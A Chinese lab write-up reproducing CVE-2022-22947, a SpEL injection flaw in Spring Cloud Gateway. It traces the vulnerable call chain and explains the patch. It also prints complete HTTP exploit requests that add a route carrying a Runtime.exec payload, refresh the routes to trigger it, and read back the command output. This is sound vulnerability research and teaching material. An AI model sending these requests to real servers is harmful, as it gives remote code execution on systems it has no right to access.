CVE-2022-22947(Spring-Cloud-Gateway)

CVE-2022-22947(Spring-Cloud-Gateway)复现

影响版本:

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

1.1 简介

SpringCloud Gateway

SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。

SpringCloud Gateway 作为 Spring Cloud 生态系统中的网关,目标是替代 Zuul,在Spring Cloud 2.0以上版本中,没有对新版本的Zuul 2.0以上最新高性能版本进行集成,仍然还是使用的Zuul 2.0之前的非Reactor模式的老版本。而为了提升网关的性能,SpringCloud Gateway是基于WebFlux框架实现的,而WebFlux框架底层则使用了高性能的Reactor模式通信框架Netty。

Spring Cloud Gateway 的目标,不仅提供统一的路由方式,并且基于 Filter 链的方式提供了网关基本的功能,例如:安全,监控/指标,和限流。

Actuator API

Spring Cloud Gateway提供了Actuator API,以供开发者自定义操作路由

允许进行的操作

image-20230409161432730

添加路由

image-20230409161615104

而漏洞就产生在添加路由操作中,需要刷新路由,即可触发RCE,然后进行访问查看回回显,根据网上的资料,有两种方法来构造恶意路由,分别是predicates和filters

1.2 远程调试环境搭建

这里使用的vulhub中的环境,找到CVE-2022-22947使用docker-compose直接启动

docker-compose up -d

使用以下命令来详细展示容器运行命令

docker ps --no-trunc

image-20230409105958028

然后复制COMMAND列,配置docker-compose.yml文件,添加远程调试功能

- "5005:5005" //idea远程调试端口
command: java -Djava.security.egd=file:/dev/./urandom -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /spring-cloud-gateway-0.0.1-SNAPSHOT.jar

image-20230409110508358

可以看到,该环境是jar项目运行起来的,我们需要将环境中的jar项目文件复制出来

image-20230409111011817

然后将此jar文件放入idea项目中,并新建lib文件,将此jar项目文件中的lib文件夹下的依赖整体复制到新建的lib文件夹下,然后将jar项目文件和lib文件夹都配置为库

image-20230409154150767

即可成功反编译此jar项目文件

image-20230409155244644

然后在IDEA中添加远程调试

image-20230409155542158

1.3 漏洞分析

我们先来看一下漏洞的产生点

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue()中,存在SPEL表达式注入

image-20230409162629395

在此接口中的normalize方法调用了getValue方法

image-20230409163925332

继续向上跟踪,向上回溯,ConfigurationService中的normalizeProperties方法调用了normalize方法

image-20230409165838439

同样ConfigurationService中的内部类AbstractBuilder的bind方法调用了normalizeProperties方法

image-20230409164638632

然后查找bind方法的调用情况,可以看到有四处调用,下面两种都是可以利用的,分别是filters和predicates利用链

image-20230409170229417

前面分析的函数调用对两条利用链来说都是相同

filters利用链

先来看第一种,也就是filters触发链

RouteDefinitionRouteLocator#loadGatewayFilters调用了bind方法

image-20230409205754480

向上回溯,getFilters调用了loadGatewayFilters方法

image-20230409210229038

RouteDefinitionRouteLocator#convertToRoute调用了getFilters,最终,整个漏洞的入口点getRoutes中调用了convertToRoute

image-20230409210637448

predicates利用链

上面分析到,bind方法有两处调用能够被利用,现在来分析一下第二种RouteDefinitionRouteLocator#lookup()调用了bind方法

image-20230409211128580

combinePredicates调用了lookup方法

image-20230409211337841

最终又回到了convertToRoute和getRoutes

image-20230409211552820

1.4 漏洞复现

向Gateway地址路径actuator/gateway/routes/id发送POST请求添加恶意路由

filters利用链

POST /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "Christ1na",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "RCE",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

image-20230409214018713

predicate利用链

POST /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
  "id": "Christ1na",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

image-20230409221031725

然后刷新路由,在这一步触发恶意SPEL表达式,实现RCE

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


image-20230409214355556

最后查看路由,查看命令执行的回显

GET /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


image-20230409214417095

以下数据包删除所添加的路由

DELETE /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close


image-20230409214457428

再刷新下路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


成功删除路由

image-20230409214515066

1.5 漏洞修复

https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698

image-20230409220450604

官方修复中,用SimpleEvaluationContext 替换了StandardEvaluationContext

Reference

https://zhuanlan.zhihu.com/p/570450841

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值